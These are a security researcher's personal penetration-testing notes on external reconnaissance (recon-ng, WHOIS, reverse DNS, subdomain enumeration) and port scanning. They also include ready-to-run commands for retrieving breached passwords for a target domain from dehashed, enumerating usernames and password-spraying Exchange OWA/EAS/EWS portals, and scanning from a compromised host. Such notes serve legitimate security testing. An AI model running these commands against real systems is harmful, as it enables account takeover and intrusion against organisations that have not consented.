# InfoSec Notes

Personal notes used as a way to keep trace of my experimentations over the years on attack vectors and digital forensics.

The repository behind the notes can be found at: [`https://github.com/Qazeer/InfoSec-Notes`](https://github.com/Qazeer/InfoSec-Notes).

{% hint style="warning" %}

* These notes are distributed in the hope that they will be useful, but without warranty of any kind.
* Some notes are work in progress and quality of each note may greatly vary (notably depending on the time spent on the note).
* Some content may be outdated as the first note was written over 4 years ago and tradecraft has evolved since.
  {% endhint %}

As this project / documentation was initially started with no goal of being published, credit may not be properly given where credit is due. While efforts have been made to rectify this, feel free to contact me at `<qazeer at protonmail dot com>` if you think a source that should be is not mentioned on a subject (or for any other contact).

***

Created by [Thomas DIOT (Qazeer)](https://qazeer.io/).


# External recon

> [`recon-ng`](https://github.com/lanmaster53/recon-ng) is an open source intelligence (OSINT) framework designed to provide "a powerful environment to conduct open source \[reconnaissance] quickly and thoroughly". `recon-ng` provides a layer of abstraction for numerous `APIs` that can be leveraged for external information gathering (domains and subdomains enumeration, reverse `DNS` lookups, searches in services and vulnerabilities datasets, etc.).\
> \
> `recon-ng` is built around modules, that will be referenced in the adequate sections of the present note.<br>

```bash
# Sets the USER-AGENT sent by recon-ng (by default "Recon-ng/vX") for a more OPSEC friendly approach.

options set USER-AGENT "<USER_AGENT_STRING>"

--------------------------------------------------------------------------------

# Workspaces: projects that will hold the related domains, hosts, ports, etc..
# Each workspace will be stored as a SQLite database on the filesystem.

# Creates a "workspace".
workspaces create <WORKSPACE_NAME>

# List the existing workspaces.
workspaces list

# Switches to the specified workspace.
workspaces load <WORKSPACE_NAME>

# Removes the specified workspace.
workspaces remove <WORKSPACE_NAME>

--------------------------------------------------------------------------------

# API keys operations.
# Each module lists the API key(s) it requires.

# Adds the specified key.
# Key names examples: bing_api, github_api, google_api, ipinfodb_api, shodan_api, spyse_api virustotal_api, whoxy_api, etc.
keys add <KEY_NAME> <KEY_VALUE>

# Removes the specified key.
keys remove <KEY_NAME>

# List the configured keys.
keys list

--------------------------------------------------------------------------------

# Database operations (adding / removing targets, listing current results, etc.).
# Supported tables (as of recon-ng v5.1.2): companies, contacts, credentials domains, hosts, leaks, locations, netblocks, ports, profiles, pushpins, repositories, and vulnerabilities.
# "companies" table: name of the companies to target (for Whois / ASN research for instance).
# "domains" table: domains to be targeted.
# "hosts" table: hosts enumerated (hostname and IP address information notably).
# "ports" table: ports enumerated, including information on the host, the protocol / service, etc.

# Displays the schema of the current's workspace database.
db schema

# Lists the values stored in the specified table (including their rowid, needed for various operations).
show <domains | hosts | ports | TABLE_NAME>
db query SELECT rowid, * FROM <domains | hosts | ports | TABLE_NAME>;

# Adds the specified entry in the given table.
db insert companies <COMPANY_NAME>~ ~
db insert domains <DOMAIN>~
db insert netblocks <CIDR>~
[...]

# Removes the specified domain from the "domains" table.
db delete domains <ROWID>

# Removes all entries from the specified table.
db query DELETE FROM <TABLE>;

--------------------------------------------------------------------------------

# The modules of the recon-ng framework are not provisioned / installed by default but are made available from the "Recon-ng Marketplace" (https://github.com/lanmaster53/recon-ng-marketplace).

# Lists all the modules available.
marketplace search

# Searches among the available modules for the specified keyword(s).
marketplace search <KEYWORD(S)>

# Retrieves information about all or the specified module(s) (description, last update date, required API keys and dependencies, etc.).
marketplace info <all | MODULE_PATH>

# Install all or the specified module.
marketplace install <all | MODULE_PATH>

--------------------------------------------------------------------------------

# The modules will usually require a <SOURCE> input.
# By default the source will be all the data from a recon-ng's table, but can be specified to be a single element, a file, or an SQL query to extract specific data.

# Lists the modules currently installed.
modules search

# Searches among the installed modules for the specified keyword(s).
modules search <KEYWORD(S)>

# Loads the specified module.
modules load <MODULE_PATH>

# Displays the help of the current module.
[recon-ng][<WORKSPACE>][<MODULE>] > info

# If required, set the <SOURCE> input for the current module.
[recon-ng][<WORKSPACE>][<MODULE>] > options set SOURCE <SINGLE_ELEMENT | FILE | SQL_QUERY>

# Execute the current module.
[recon-ng][<WORKSPACE>][<MODULE>] > run

--------------------------------------------------------------------------------

# Specific modules are designed for the importing / exporting of results.
# Input modules: import/csv_file, import/list, import/masscan, and import/nmap.
# Notable exporting modules: reporting/csv, reporting/list, reporting/json, reporting/html, and reporting/xlsx.

# Import the data in the file in the specified table's column.
# For example, to import subdomains: <TABLE> = hosts & <COLUMN> = host.
modules load import/list
[recon-ng][<WORKSPACE>][list] > options set FILENAME <FILENAME>
[recon-ng][<WORKSPACE>][list] > options set TABLE <TABLE>
[recon-ng][<WORKSPACE>][list] > options set COLUMN <COLUMN>
[recon-ng][<WORKSPACE>][list] > run
```

### Domain enumeration

**\[Passive] Initial domain enumeration**

Manual searches using search engines, such as `Google` or `Bing`, should first be conducted to identify a list of domains linked to the targeted entity.

The goal of the research is to:

* Gather an initial list of the domain directly linked to the targeted entity.
* Identify the possible subsidiaries of the entity and gather information about their associated domains.

Once the main domain names are identified:

* Queries to `Whois` records can be done to retrieve information about the `registrant` (registered holder of the domain) or the `registrar` (accredited organization that registers a domain on behalf of the `registrant`) of the domains.

  The `whois` Linux utility can be used to retrieve the `Whois` record of a specified domain:

  ```bash
  whois <DOMAIN>

  # Bash script to retrieve the Registrant of each domains (one by line) in the file given as input.

  #!/bin/bash
  while IFS= read -r domain; do
      registrant=$(whois $domain | grep "Registrant Organization" | cut -d ":" -f 2 | awk '{$1=$1};1')
      echo "\"$domain\",\"$registrant\""
  done < "$1"
  ```

  Additionally, the following online services can be used to make `Whois` queries:

  | Service                      | URL                              | Description                                                                                                                                                                                                                                                                                                                              |
  | ---------------------------- | -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
  | `who.is`                     | <https://who.is/>                | Free service through a web interface.                                                                                                                                                                                                                                                                                                    |
  | `Whoxy` Whois Lookup         | <https://www.whoxy.com/>         | <p>Free <code>Whois</code> queries through the web interface and paid <code>API</code> (with a low pricing: 1,000 Domain <code>Whois</code> <code>API</code> queries for 2$).<br><br><code>recon-ng</code>'s module (requires a <code>whoxy\_api</code> <code>API</code> key):<br><code>recon/domains-companies/whoxy\_whois</code>.</p> |
  | `DomainTools`'s Whois lookup | <https://whois.domaintools.com/> | Free service through a web interface.                                                                                                                                                                                                                                                                                                    |
* The `IP` address(es) associated with the domains can be enumerated through `DNS` resolutions (using utilities such as `dig`, `host`, or `nslookup`) or using proprietary databases. Note that more than one `IP` can be associated with a domain name (through `DNS` `A` or `AAAA` records) and result may vary depending on client `GeoIP` data, etc.

  ```bash
  host <DOMAIN>

  # Bash script to resolve one IP of each domains (one by line) in the file given as input.

  #!/bin/bash
  while IFS= read -r domain; do
      IP=$(dig +short $domain | sed ':a;N;$!ba;s/\n/ /g')
      echo "$domain,$IP"
  done < "$1"
  ```

  The `recon-ng`'s `recon/hosts-hosts/resolve` module can be used to resolve domain names (for the `hosts` table by default) using the nameserver configured with-in the framework (`Google`'s `DNS` 8.8.8.8 by default).

  Refer to the `[L7] DNS - Methodology` note for more information on `DNS` resolution if needed.

**\[Passive] Reverse Whois search**

Reverse research in `Whois` records consist of researching information related to the `registrant` (name or email address for example) in proprietary `Whois` records dataset. Such research can be used to enumerate the others domains possibly registered by the same `registrant`.

A number of online services can be used to make reverse `Whois` queries.

| Service                              | URL                                                | Description                                                                                                                                                                                                                                                                                                                                                                   |
| ------------------------------------ | -------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ViewDNS.info`                       | <https://viewdns.info/reversewhois>                | <p>Free web interface, allows search based on company / person names or email addresses.<br><br><code>recon-ng</code>'s module:<br><code>recon/companies-domains/viewdns\_reverse\_whois</code>.<br><br>If <code>403 Forbidden</code> errors are returned by the <code>API</code>, the <code>recon-ng</code>'s <code>User-Agent</code> should be set to a legitimate one.</p> |
| `reversewhois.io`                    | <https://www.reversewhois.io>                      | Free web interface, allows search based on names or email addresses.                                                                                                                                                                                                                                                                                                          |
| `drs.WhoisXMLAPI.com`                | <https://drs.whoisxmlapi.com/reverse-whois-search> | Paid service, with limited `API` credit upon signup.                                                                                                                                                                                                                                                                                                                          |
| `DomainTools`'s reverse Whois lookup | <https://reversewhois.domaintools.com/>            | Paid service, with the most comprehensive results. The number of results returned by a query can be consulted freely but the retrieval of the domain names is subject to charge.                                                                                                                                                                                              |

**\[Passive] Reverse DNS lookup and IP sharing**

Reverse `DNS` lookup consist of retrieving, in proprietary datasets, the domain(s) (or subdomain(s)) associated to a given `IP` address. It can be used to identify the domains or subdomains sharing a common `IP` address (and possibly owned by the targeted entity).

A number of online services can be used to make reverse `DNS` lookup to identify `IP` sharing.

| Service                                     | URL                                                                                                                                           | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| ------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `api.hackertarget.com`                      | <https://api.hackertarget.com/reverseiplookup/?q=>                                                                                            | <p>Website and <code>API</code>, limited to 20 queries / day in the free tier (Python script provided below).<br><br><code>recon-ng</code>'s module:<br><code>recon/hosts-hosts/hackertarget\_reverse</code>.</p>                                                                                                                                                                                                                                                                                                                           |
| `host.io`                                   | <https://host.io/ip/>                                                                                                                         | <p>Free queries through the web interface with limited result.<br><br>Premium API, with a free plan: 1000 requests / month with max 5 results per page (i.e 500 results would require 100 requests).</p>                                                                                                                                                                                                                                                                                                                                    |
| `ThreatCrowd`                               | <https://www.threatcrowd.org/ip.php?ip=>                                                                                                      | <p>Free queries through a web interface and <code>API</code>.<br><br>The web interface displays results in the form of a graph, including additional results such as reverse <code>DNS</code> or <code>Whois</code> lookups.</p>                                                                                                                                                                                                                                                                                                            |
| `WhoisXMLAPI`'s Reverse `IP` / `DNS` lookup | <https://reverse-ip.whoisxmlapi.com/lookup>                                                                                                   | Website and `API`, with 100 free `API` calls upon signup.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `Bing` search engine                        | <p>Search queries using:<br><br><code>ip:\<IP></code><br><code>ip:\<IP> -site:\<EXCLUDE\_DOMAIN1> -site:\<EXCLUDE\_DOMAIN2> \[...]</code></p> | <p><strong>Web browsing</strong><br><br>Free and unlimited but requires manual and time-consuming browsing. Search requests are additionally limited to 1000 characters.<br><br>The following bash one-liner can be used to generate a exclude <code>-site:</code> string from a file contaning domain names:<br><br><code>while IFS= read -r line; do echo -n "-site:$line "; done < "$1"</code><br><br><strong>Bing API</strong><br><br>1,000 requests free per month, with a Microsoft Azure account (requires credit card details).</p> |

The following Python script leverage the `api.hackertarget.com` reverse `IP` lookup `API` to retrieve the `DNS` records associated with each `IP` in the specified `IP` ranges:

```
import ipaddress
import requests
import sys

API_URL = 'https://api.hackertarget.com/reverseiplookup/'

if (len(sys.argv) < 2):
  print("Usage: reverse_dns.py <IP_FILE>")
  exit(1)

IP_file = open(sys.argv[1], 'r')
IP_ranges = IP_file.read().splitlines()

for IP_range in IP_ranges:
  for IP in ipaddress.IPv4Network(IP_range):
  	r = requests.get(url = API_URL, params = {'q':IP})
  	if 'No DNS A records found' in r.text:
  	  continue
  	for record in r.text.splitlines():
  	  print(f'{IP},{record}')
```

**\[Passive] Leveraging Autonomous System Number**

An `Autonomous System Number (ASN)` is a unique number assigned to an `Autonomous System (AS)` by the `Internet Assigned Numbers Authority (IANA)`. An `AS` consists of blocks of `IP` addresses which have a distinctly defined policy for accessing external networks and are administered by a single organization (which may not be the targeted entity but an operator having the entity as a client).

*ASNRECON*

[`ASNRECON`](https://github.com/orlyjamie/asnrecon) is a Python script that:

* retrieve the `ASN` of a given domain,
* lookup the `IP` addresses / ranges part of the `ASN` (in the dataset downloaded from the [`pyasn`](https://github.com/hadiasghari/pyasn) project),
* and finally attempt to access, for each enumerated `IP`, an `HTTPS` service (on port `TCP` 443) to extract the `subject` defined in the `SSL` / `TLS` certificate.

Note that result may not usable if the `ASN` is not managed by the targeted entity.

```bash
# As asnrecon.py requires Python2 and a number of dependencies, it is recommended to use the Docker file provided in the repository to  build a Docker container.
docker build -f Dockerfile -t asnrecon .

# Either chose 1. to scan by domain name or 2. to only conduct the SSL / TLS subject name extraction on a given IP range.
docker run -it asnrecon
```

*ASN Lookup*

The [`asn`](https://github.com/nitefood/asn) Bash script can be used, among other features, to lookup `ASN` by `organization name` in order to retrieve the `IP` ranges linked to an entity.

Reverse `DNS` lookups, `SSL` / `TLS` certificates grabbing, etc. can then be performed on the enumerated `IPs` to retrieve additional domain names of the entity.

```
asn -o "<ENTITY_NAME>"
```

### Subdomains enumeration

**\[Passive] Search engines and passive DNS proprietary dataset**

Search engines, such as `Google`, `Bing`, etc., and proprietary databases (with historical data) operated by services such as `DNSdumpster`, `VirusTotal`, `DomainTools`, can be used to retrieve subdomains associated with a domain name.

| Service                                                                                        | URL / query                                                                                                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |                      |               |
| ---------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------- | ------------- |
| `Rapid7`'s `Project Sonar`                                                                     | <https://opendata.rapid7.com/sonar.fdns\\_v2/>                                                                                                  | <p>massive offline dataset (hundreds of GB uncompressed) of domains and subdomains.<br><br>Gathered using various sources and using direct <code>DNS</code> resolutions queries (<code>ANY</code>, <code>A</code>, <code>AAAA</code>, <code>CNAME</code>, and <code>TXT</code> record lookups).<br><br>Offline query example (without extraction to disk to save disk space but which require new extraction for each search):<br><code>pigz -dc \<SONAR\_GZ>                                                                                                           | grep -F '\<DOMAIN>"' | jq</code></p> |
| <p><code>DNSdumpster</code> (web GUI)<br>/<br><code>HackerTarget</code> (<code>API</code>)</p> | <p><https://dnsdumpster.com/><br><br><https://hackertarget.com/find-dns-host-records/></p>                                                      | <p>Passive <code>DNS</code> service (with historical data) accessible using a web interface or an <code>API</code> through, respectively, <code>DNSdumpster</code> and <code>HackerTarget</code>.<br><br><code>recon-ng</code>'s module (for <code>HackerTarget</code>):<br><code>recon/domains-hosts/hackertarget</code>.</p>                                                                                                                                                                                                                                          |                      |               |
| `VirusTotal`                                                                                   | <https://www.virustotal.com/gui/home/search>                                                                                                    | <p>Initiated as an online scan engine relying on multiple anti-virus products, <code>VirusTotal</code> has a subdomains dataset (a priori based on historical lookups of files or URL submitted for scanning by users).<br><br>The free <code>API</code> is limited to 500 requests per day and a rate of 4 requests per minute.<br><br><code>recon-ng</code>'s module (requires a <code>virustotal\_api</code> <code>API</code> key):<br><code>recon/hosts-hosts/virustotal</code>.</p>                                                                                |                      |               |
| `SPYSE`                                                                                        | <https://spyse.com/tools/subdomain-finder>                                                                                                      | <p>Unlimited free search through the web interface with however heavy restrictions: up to 20 results and unexportable results.<br><br><code>API</code> available in the free tier, limited to 100 requests each month (with a maximum of 100 results per request).<br><br><code>recon-ng</code>'s module (requires a <code>spyse\_api</code> <code>API</code> key):<br><code>recon/domains-hosts/spyse\_subdomains</code>.</p>                                                                                                                                          |                      |               |
| `ThreatCrowd`                                                                                  | <https://www.threatcrowd.org/domain.php?domain=>                                                                                                | <p>Free queries through a web interface and <code>API</code>.<br><br>The web interface displays results in the form of a graph, including additional results such as reverse <code>DNS</code> or <code>Whois</code> lookups.<br><br><code>recon-ng</code>'s module:<br><code>recon/domains-hosts/threatcrowd</code>.</p>                                                                                                                                                                                                                                                |                      |               |
| `Google` search engine                                                                         | <p>Google dorks:<br><br><code>site</code><br><code>site:\<DOMAIN> -site:\<EXCLUDED\_SUBDOMAIN1> -site:\<EXCLUDED\_SUBDOMAIN2> \[...]</code></p> | <p>Free and unlimited (with eventual <code>reCAPTCHA</code> protection) but requires manual and time-consuming browsing. Search requests are additionally limited to 32 words.<br><br><code>recon-ng</code>'s module (which may fail du to CAPTCHA):<br><code>recon/domains-hosts/google\_site\_web</code>.</p>                                                                                                                                                                                                                                                         |                      |               |
| `Bing` search engine                                                                           | <p>Bing dorks:<br><br><code>site</code><br><code>site:\<DOMAIN> -site:\<EXCLUDED\_SUBDOMAIN1> -site:\<EXCLUDED\_SUBDOMAIN2> \[...]</code></p>   | <p>Similar to <code>Google</code> dorks.<br><code>API</code> available, with 1,000 requests free per month for authenticated users (Microsoft Azure account, which requires credit card details).<br><br><code>recon-ng</code>'s module that scrape <code>Bing</code> search results (no <code>API</code> key requied):<br><code>recon/domains-hosts/bing\_domain\_web</code>.<br><br><code>recon-ng</code>'s module for the <code>Bing API</code> (requires a <code>bing\_api</code> <code>API</code> key):<br><code>recon/domains-hosts/bing\_domain\_api</code>.</p> |                      |               |

**\[Passive] SSL / TLS certificates passive search**

<https://crt.sh/> <https://transparencyreport.google.com/https/certificates>

`recon-ng`'s module `recon/domains-hosts/certificate_transparency`.

**\[Active] SSL / TLS certificates grabbing**

```
nmap -v -sT -T 2 -Pn -p 443 -sV -sC -oA <OUTPUT_FILES> [-iL <INPUT_FILE> | <HOST | IP | CIDR | IP_RANGE>
```

**\[Active] Forward / reverse DNS brute force**

Forward `DNS` lookup brute force consist of attempting to guess valid subdomains through `DNS` resolution. In addition, if the `DNS` `PTR records`, used for mail services, are configured for the domain, reverse lookup brute force may possible. Both actions require direct interactions with the `DNS` nameservers of the targeted entity.

Refer to the `[L7] DNS - Methodology` note for techniques and tooling to conduct forward / reverse `DNS` brute forcing.

**\[Passive / Active] Automated enumeration tools**

Multiple tools can be used to automate the process of passively enumerating subdomains using public resources. While the tools introduced below generally produce fairly similar results, slight differences may arise and executing each tool can ensure a more comprehensive enumeration.

| Tool                                                      | Description                                                                                                                                                                                                                                                                                                                                                                                                 |
| --------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [`Amass`](https://github.com/OWASP/Amass)                 | Go project retrieving data from [numerous sources](https://github.com/OWASP/Amass/blob/master/README.md).                                                                                                                                                                                                                                                                                                   |
| [`assetfinder`](https://github.com/tomnomnom/assetfinder) | Go project retrieving data from `crt.sh`, `Certspotter`, `HackerTarget`, `ThreatCrowd`, the Wayback Machine, and `dns.bufferover.run`, as well as `Facebook`, `VirusTotal`, and `SPYSE` if `API` keys are provided.                                                                                                                                                                                         |
| [`Sublist3r`](https://github.com/aboul3la/Sublist3r)      | <p>Python script retrieving data from:<br>- Search engines (<code>Google</code>, <code>Bing</code>, <code>Yahoo</code>, <code>Baidu</code>, <code>Ask</code>, and <code>Netcraft</code>).<br>- Proprietary <code>DNS</code> datasets (<code>DNSdumpster</code>, <code>VirusTotal</code>, and <code>ThreatCrowd</code>)<br>- <code>SSL</code> / <code>TLS</code> certificates using <code>crt.sh</code>.</p> |

*Amass*

```
# Execution of Amass on a single domain.
amass enum -passive -d <DOMAIN>

# Uses of interlace to multi-thread the execution of Amass on multiples domain.
echo 'amass enum -passive -d _target_ > _output_/_cleantarget_-amass.txt' > Amass_cmd_file.txt
interlace -tL <INPUT_DOMAIN_FILE> -o <OUTPUT_FOLDER> -cL Amass_cmd_file.txt
```

*assetfinder*

```
# Execution of assetfinder on a single domain.
assetfinder <DOMAIN>

# Uses of interlace to multi-thread the execution of assetfinder on multiples domain.
echo 'assetfinder _target_ > _output_/_cleantarget_-assetfinder.txt' > assetfinder_cmd_file.txt
interlace -tL <INPUT_DOMAIN_FILE> -o <OUTPUT_FOLDER> -cL assetfinder_cmd_file.txt
```

*Sublist3r*

```
# Execution of Sublist3r on a single domain.
python sublist3r.py -d <DOMAIN>

# Uses of interlace to multi-thread the execution of Sublist3r on multiples domain.
echo 'python3 sublist3r.py -n -d _target_ | grep _target_ | grep -v "Enumerating subdomains now for" > _output_/_cleantarget_-sublist3r.txt' > Sublist3r_cmd_file.txt
interlace -tL <INPUT_DOMAIN_FILE> -o <OUTPUT_FOLDER> -cL Sublist3r_cmd_file.txt
```

### IPs and services exposure

**Shodan**

TODO

### Code repository enumeration and research

TODO

### Employees contacts gathering

TODO

### Leaked credentials

**\[Passive] Dehashed**

[`dehashed.com`](https://dehashed.com/) is a website that indexes multiple billions of credentials leaked in various data breaches and datasets. It allows searches to be conducted by domain name, username, emails, name, password, etc.

While leaked email entries can be consulted freely, `dehashed.com` requires a paid subscription to view the password or hash associated with an entry. Additional `API` credits are also required to programmatically retrieve credentials. As of the end of 2021, the prices are:

* 5.49$ for a one week access, 15.49$ monthly or 179.99$ annually.
* 2.5$ for 100 API requests (with a maximum of 10 000 results by request).

The `API` request can be used to retrieve the entries with an email containing the specified domain:

```bash
# Example of a valid <EMAIL_DOMAIN>: test.com.
# Searches can also be conducted using the username, password, name, ip_address keywords.

curl -o <OUTPUT_JSON_FILE> 'https://api.dehashed.com/search?query=email:<EMAIL_DOMAIN>&size=10000' \
-u <EMAIL>:<API_KEY>  \
-H 'Accept: application/json'
```

The following Python snippet convert the `JSON` file produced by the `API` request above to a `CSV` file:

```python
import json
import csv

json_file = open(r'<JSON_INPUT_FILE>', encoding="utf8")
csv_file = open(r'<CSV_OUTPUT_FILE>', 'w', encoding="utf8", newline='')

dehashed = json.load(json_file)

csv_writer = csv.DictWriter(csv_file, quoting=csv.QUOTE_ALL, fieldnames = ["email", "password", "hashed_password", "username", "name", "database_name", "ip_address", "address", "phone", "vin", "id"])
csv_writer.writeheader()

for entry in dehashed['entries']:
    csv_writer.writerow(entry)

json_file.close()
csv_file.close()
```

### Username enumeration and password bruteforce / spraying

**Externally facing Exchange server**

If an Internet facing `Outlook Web Access (OWA)` / `Exchange Web Services` / `Exchange Active Sync (EAS)` portal is identified, it may be possible to validate usernames (in a time-based attack) or to bruteforce credentials.

* `OWA` is a browser client web application designed for users to access their mailboxes. Allows to both validate usernames and conduct bruteforcing attacks.
* `EWS` is a non-user facing service allowing applications to communicate with the `Exchange` server. Can be leveraged for (faster) bruteforcing attacks.
* `EAS` is a proprietary protocol designed for the synchronization of email, contacts, calendar (etc.) from Exchange servers. Allows to both validate usernames and conduct bruteforcing attacks. The portal is usually exposed at `https://<EXCHANGE_SERVER>/Microsoft-Server-ActiveSync/`.

Note that the usernames validation technique against `OWA` / `EAS` rely on a time difference between response time for authentication attempts with a valid or invalid username. An unsuccessful authentication will thus be triggered for any valid account found. As the accounts are (most likely) subject to the Active Directory domain password policy, precautions should be taken to avoid locking out the accounts by limiting the enumeration / password guessing attempts.

The PowerShell [`MailSniper`](https://github.com/dafthack/MailSniper) toolkit and the [`SprayingToolkit`](https://github.com/byt3bl33d3r/SprayingToolkit) Python script can be used to conduct password spraying attacks against `OWA` / `EWS` portals.

```bash
# Determines a the domain name associated with the Exchange instance.
Invoke-DomainHarvestOWA -ExchHostname <EXCHANGE_HOSTNAME | EXCHANGE_IP>

# Attempts to valid usernames through a time-based attack.
Invoke-UsernameHarvestOWA -ExchHostname <EXCHANGE_HOSTNAME | EXCHANGE_IP> -Domain <DOMAIN_NAME> -UserList <USER_FILE> -OutFile <OUTPUT_FILE>
Invoke-UsernameHarvestEAS -ExchHostname <EXCHANGE_HOSTNAME | EXCHANGE_IP> -Domain <DOMAIN_NAME> -UserList <USER_FILE> -OutFile <OUTPUT_FILE>

# According to tests performed by the MailSniper author, bruteforcing through EWS is significantly faster than bruteforcing through OWA / EAS.
Invoke-PasswordSprayOWA -ExchHostname <EXCHANGE_HOSTNAME | EXCHANGE_IP> -UserList <USER_FILE> -Password <PASSWORD>
Invoke-PasswordSprayEAS -ExchHostname <EXCHANGE_HOSTNAME | EXCHANGE_IP> -UserList <USER_FILE> -Password <PASSWORD>
Invoke-PasswordSprayEWS [-ExchangeVersion <Exchange2013_SP1 | EXCHANGE_VERSION>] -ExchHostname <EXCHANGE_HOSTNAME | EXCHANGE_IP> -UserList <USER_FILE> -Password <PASSWORD>
```

If valid credentials are found, `MailSniper`'s `MailSniper` cmdlet can be used to harvest email addresses. The cmdlet will first attempt to connect to an `OWA` portal to use the `FindPeople` method (available starting from `Exchange2013`). If this attempt does not succeed, the cmdlet will attempt to retrieve the `Global Address List` over `EWS`.

```bash
Get-GlobalAddressList -ExchHostname <EXCHANGE_HOSTNAME | EXCHANGE_IP> -UserName <DOMAIN>\<USERNAME> -Password <PASSWORD> -OutFile <OUTPUF_FILE>
```

***

### References

<https://github.com/appsecco/the-art-of-subdomain-enumeration>

<https://www.whatismyip.com/asn/>

<https://www.twelve21.io/getting-started-with-recon-ng/>


# Ports scan

***

**Single host fast ports and services scan using masscan and nmap**

```
target="<HOSTNAME | IP>"

# TCP ports.
masscan --open -p1-65535 $target --rate=1000 > raw_masscan_output.txt
ports=$(cut -d ' ' -f 4 raw_masscan_output.txt | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -v -Pn -sV -sC -oA $target-TCP -p $ports $target

# UDP ports.
masscan --open -pU:1-65535 $target --rate=1000 > raw_masscan_output.txt
ports=$(cut -d ' ' -f 4 raw_masscan_output.txt | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -v -Pn -sV -sC -oA $target-UDP -p $ports $target
```

***

### Basic ports scan

**ping + netcat**

The `ping` and `netcat` utilities can be used to quickly enumerate accessible servers and their open ports from a compromised host. Both utilities can be uploaded, if not already available on the compromised host, as standalone binaries. Note that some statically linked version of `netcat` may be detected as malicious agent by anti-viral solutions.

The following one-liners can be used to conduct an `ICMP` echo sweep using the built-in `ping` utility:

```
# Linux.

# /16 IP range.
prefix="<X.X>" && for i in {0..254}; do echo $prefix.$i/24; for j in {1..254}; do sh -c "ping -c 1 $prefix.$i.$j | grep \"icmp\" &" ; done; done

# /24 IP range.
prefix="<X.X.X>" && for i in {0..254}; do sh -c "ping -c 1 $prefix.$i | grep \"icmp\" &" ; done
```

`netcat` can be used to conduct a basic `TCP` or `UDP` ports scan, with no banner grabbing or version probing:

```
# TCP ports.
nc -znv -w 2 <HOSTNAME | IP> <PORT | PORT_RANGE>

# UDP ports.
nc -uznv -w 2 <HOSTNAME | IP> <PORT | PORT_RANGE>
```

Combining `ping` and `netcat`, the following bash one-liners can be used to do a `ping` sweep followed by a basic port scan using `netcat` on the hosts responding to the `ICMP` echo requests:

```
# The IP range shoudl be specified using the prefix and seq number variables.
# For example: specify prefix="10.10.10" and seq 255 to scan the range 10.10.10.0-255.

prefix="<X.X.X>" && for i in `seq <SUBNET | 255>`; do ping -c 1 $prefix.$i &> /dev/null && echo "Scan host: $prefix.$i" && nc -zvn -w 2 $prefix.$i <PORT | PORT_RANGE> 2>&1 | grep "open" ; done
```

**PowerShell**

PowerShell can be used to conduct a *very slow* and basic ports scan using the `Net.Sockets.TcpClient` or `Test-Netconnection` built-ins.

Note that for each and every inaccessible ports `Test-NetConnection` will perform an `ICMP` echo request (ping) to the targeted host, tremendously slowing down the ports scanning process.

```
# Single host.
1..65355 | % { echo ((new-object Net.Sockets.TcpClient).Connect("<IP>",$_)) "[OPEN] Port $_" } 2>$null
$WarningPreference = 'SilentlyContinue'; foreach ($port in 1..65355) { Test-NetConnection -Port $port <IP> | Where { $_.TcpTestSucceeded -eq $True } | Ft RemoteAddress,RemotePort }

# Range /24.
1..255 | % { $ip = <X.X.X.$_>; 1..65355 | % { echo ((new-object Net.Sockets.TcpClient).Connect("$x",$_)) "[OPEN] Port $ip:$_"} 2>$null }
$WarningPreference = 'SilentlyContinue'; foreach ($sub in 1..255) { $ip = <X.X.X.$sub>; foreach ($port in 1..65355) { Test-NetConnection -Port $port $ip | Where { $_.TcpTestSucceeded -eq $True } | Ft RemoteAddress,RemotePort } }

# From a file.
Get-Content <FILE_PATH> | ForEach-Object { foreach ($port in 1..65355) { echo ((new-object Net.Sockets.TcpClient).Connect("$_",$port)) "[OPEN] Port $_ : $port"}} 2>$null
$WarningPreference = 'SilentlyContinue'; Get-Content <FILE_PATH> | ForEach-Object { foreach ($port in 1..65355) {  Test-NetConnection -Port $port $_ | Where { $_.TcpTestSucceeded -eq $True } | Ft RemoteAddress,RemotePort }}

# From an input comma separated list.
"<LIST_IP>".Split(",") | ForEach { foreach ($port in 1..65355) { echo ((new-object Net.Sockets.TcpClient).Connect("$_",$port)) "[OPEN] Port $_ : $port"}} 2>$null
```

The [`PowerSploit`'s `Invoke-Portscan` cmdlet](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1), supporting `nmap`-like arguments, can be used for a faster ports scan from a compromised host using PowerShell:

```
Invoke-Portscan -TopPorts 1000 -Hosts "<IP> | <FQDN> | <CIDR> | <RANGE> | <COMMA_LIST_HOSTNAMES" -oA "<FILEOUT>"
Invoke-Portscan -p- -Hosts "<IP> | <FQDN> | <CIDR> | <RANGE> | <COMMA_LIST_HOSTNAMES" -oA "<FILEOUT>"
Invoke-Portscan -f -noProgressMeter -quiet -Pn -p- -iL "<HOSTNAMES_FILE | IP_FILE>" -oA "<FILEOUT>"

# AD enrolled computers into ports scan using Invoke-Portscan.
Get-NetComputer -ComputerName "*" | Out-File -Force -FilePath "<OUTFILE_HOSTNAMES>"
Invoke-Portscan -f -noProgressMeter -quiet -Pn -p "<COMMA_LIST_PORTS>" -iL "<OUTFILE_HOSTNAMES>" -oA "<FILEOUT>"
```

### Asynchronous and stateless ports scan

